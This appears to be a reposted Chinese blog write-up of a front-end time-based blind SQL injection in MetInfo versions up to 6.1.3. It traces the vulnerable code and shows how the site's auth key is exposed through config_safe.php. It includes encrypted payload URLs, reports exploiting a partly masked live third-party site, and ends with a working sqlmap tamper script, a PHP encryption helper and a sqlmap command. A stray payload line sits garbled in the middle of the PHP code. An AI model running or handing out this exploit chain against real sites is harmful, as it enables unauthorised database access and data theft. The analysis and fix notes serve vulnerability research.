metinfo<=6.1.3前台SQL注入

栏目: 数据库 · 发布时间: 6年前

内容简介:metinfo<=6.1.3前台SQL注入需要会员权限对服务器版本有限制【PHP-TS】

metinfo<=6.1.3前台 SQL 注入

需要会员权限

对服务器版本有限制【PHP-TS】

0x01 前言

看到 某info <= 6.1.3前台getshell 后决定发出来 (里面没说前台注入啊【手动狗头】)

0x02 代码分析

定位到 /member/basic.php 文件,代码如下:

metinfo<=6.1.3前台SQL注入

看到这种样式的,我们就联想到了 MVC 框架,类似 TpCIYII ,不过这是metinfo内置的框架,框架目录主要位于 /app/system 中,每个文件夹都是一个家目录,我们主要定位到 /app/system/user/web/profile.class.php 中的 dosafety_emailadd 方法:

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

148 Line 使用global关键字引入全局变量$_M
149 Line判断外部传入的$_COOKIE or $_POST or $_GET参数p是否为真
150 Line加载了auth类并实例化赋值给$auth
151 Line将$_M['form']['p']传入auth类中的decode方法解密并赋值给$email
152 Line判断$email是否为真
153 Line将$_M['user']['id']、$email传入$this->userclass类中的editor_uesr_email方法

目前我们只需要看这么多就好啦!我们接着来分析这个 auth 类,定位到 /app/system/include/class/auth.class.php

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

176 Line使用global关键字将全局变量$_M引入到当前方法中
177 Line判断传入的参数$userid是否为假
180 Line将传入的参数$email传入到当前类中的get_user_by_email方法并判断返回值是否为真

进入 get_user_by_email 方法中:

metinfo<=6.1.3前台SQL注入

622 Line调用Load类中的静态方法is_plugin_exist判断doemail插件是否存在并将返回值赋予$isplugin
625 Line判断$isplugin是否为真
635 Line判断$emailres为真或者全等于NULL的情况下那么进入判断
636 Line调用当前类中的get_user_by_emailid静态方法

接着进入 get_user_by_emailid 静态方法:

metinfo<=6.1.3前台SQL注入

到这个方法之后,它直接将我们传入的 $email 拼接到了SQL语句中,从而产生了SQL注入

0x03 代码调试

dosafety_emailadd 方法中输入如下语句并且改变一下语句顺序:

metinfo<=6.1.3前台SQL注入

get_user_by_emailid 输入如下语句:

metinfo<=6.1.3前台SQL注入

接下来访问下url:

http://localhost:8081/member/basic.php?a=dosafety_emailadd

metinfo<=6.1.3前台SQL注入

可以看到程序成功将 123 拼接到了SQL语句中,哈哈,万事大吉,但是程序最终返回的仅仅是true or false所以这里我们要用到延时注入,最终Payload如下:

metinfo<=6.1.3前台SQL注入

再次访问

http://localhost:8081/member/basic.php?a=dosafety_emailadd

metinfo<=6.1.3前台SQL注入

五秒以上才反应过来,程序是不是有点傻哦!正应了我们的延时盲注,接着我们将这段加密输出了之后再整吧!

metinfo<=6.1.3前台SQL注入

再次访问

http://localhost:8081/member/basic.php?a=dosafety_emailadd

metinfo<=6.1.3前台SQL注入

接着访问:

http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4

metinfo<=6.1.3前台SQL注入

又是过了很久才出来。。。

0x04 漏洞复现

互联网 http://www.d******re.com

http://www.d******re.com/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4

metinfo<=6.1.3前台SQL注入

调试半天发现是key的问题 key在 /config/config_safe.php ,打开文件是这样的:

metinfo<=6.1.3前台SQL注入

就在这里我做了一个大胆的假设,直接访问然后审查元素看看被注释的东西是否存在

访问:

view-source:http://localhost:8081/config/config_safe.php

metinfo<=6.1.3前台SQL注入

这里是 PHP 版本的问题,在phpstudy中有两种大版本,PHP-nts(非线程安全)、PHP-ts(线程安全)

metinfo<=6.1.3前台SQL注入

nts版本的PHP会显示如下内容

metinfo<=6.1.3前台SQL注入

而ts版本如下:

metinfo<=6.1.3前台SQL注入

这就意味着这个洞只能用于ts版本了 各位师傅如果有什么新发现来讨论一波可好?

接着我们把auth这个类复制出来,我们应用到加密去:

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

这个类中我们需要修改两处才能正常使用:

8 Line $this->auth_key中的值替换成获取到的key
31 Line $key = md5($key);

Over,我们来看看实际站点能否获取到它的key:

view-source:http://www.d****re.com/config/config_safe.php

metinfo<=6.1.3前台SQL注入

把我用红色框框圈起来的放到需要替换key的那里去,接着实力化这个类,加密后再用url编码:

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

再访问:

http://www.d******e.com/member/basic.php?a=dosafety_emailadd&p=204eUixfyB1n2wh835QWkft%2F58n7Pbp2MgtdHLzL%2FCq55OGuDERix7KJfSE4dGNLKrCziXTr3U4GFyQi9LP1rLinR1JPFZWMASBEMQZ%2Fdrmg9eXwrzNkcmJWHn75LZpH3j6X

metinfo<=6.1.3前台SQL注入

至此漏洞利用结束

0x05 漏洞修复

对于这里的修复就比较好了,metinfo函数库已经很成熟了,比如 inject_check (存在被绕过风险)、 daddslashes

metinfo<=6.1.3前台SQL注入

0x06 temper编写

需要注意将SQLMAP传入的payload通过api接口返回加密后的字符串进行处理

#!/usr/bin/env python
"""
    Metinfo V6.1.3
"""
from lib.core.enums import PRIORITY
from sys import argv
import urllib2
__priority__ = PRIORITY.LOWEST

api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2"
key_name = "/config/config_safe.php"
def dependencies():
    pass

def tamper(payload, **kwargs):
    global api_url
    url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","")
    send_key(url)
    res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload)))
    if res["code"] == 200:
        return res["text"]

def send_key(url):
    global api_url,key_name
    res = request(url+key_name)
    if(res["code"] == 200):
        if(len(res["text"])>0):
            api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>",""))
        else:
            print "[-] URL can not be used. "
            exit()

def request(url):
    request = urllib2.Request(url)
    request.add_header('Content-Type', 'application/x-www-form-urlencoded')
    response = urllib2.urlopen(request)
    return {"code":response.getcode(),"text":response.read()}

保存为py文件 供sqlmap调用

<?php
    //作为api,方便调用,over
class auth {

    public $auth_key;

    public function __construct($key) {
        $this->auth_key = $key;
    }

    public function decode($str, $key = ''){
        return $this->authcode($str, 'DECODE', $this->auth_key.$key);
    }

    public function encode($str, $key = '', $time = 0){
        return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
    }

    public function creatkey($length = '10'){
        $str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmNlPkQjRiShTgUfVeWdXcYbZa";
        $result="";
        for($i=0;$i<$length;$i++){
            $num[$i]=rand(0,25);
            $result.=$str[$num[$i]];
        }
        return $result;
    }

    public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
        $ckey_length = 4;  
        $key = md5($key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == 'DECODE') {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
               return substr($result, 26);
            } else {
               return '';
            }
        }else{
            return $keyc.str_replace('=', '', base64_encode($result));
        }
    }

}
if(length(user())>=10,sleep(5),0);#"
    if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"]))
    {
        $auth = new auth($_REQUEST["key"]);
    }
    else
    {
        exit("[-] Please input key.");
    }
    if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"]))
    {
        // var_dump($auth->encode("aaa@aa.com' or username='username' and if(length(user())>=10,sleep(5),0);#"));
        // var_dump(urldecode($_REQUEST["encodestr"]));
        exit($auth->encode(urldecode($_REQUEST["encodestr"])));
    }
    else
    {
        exit("[-] Please enter encrypted string.");
    }
?>

保存为php文件 跑起来供上面的temper调用。(注意修改代码中的用户名为自己注册的用户名)

sqlmap:

sqlmap -u "http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"

metinfo<=6.1.3前台SQL注入

Over,剩下的自己琢磨。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Design for Hackers

Design for Hackers

David Kadavy / Wiley / 2011-10-18 / USD 39.99

Discover the techniques behind beautiful design?by deconstructing designs to understand them The term ?hacker? has been redefined to consist of anyone who has an insatiable curiosity as to how thin......一起来看看 《Design for Hackers》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具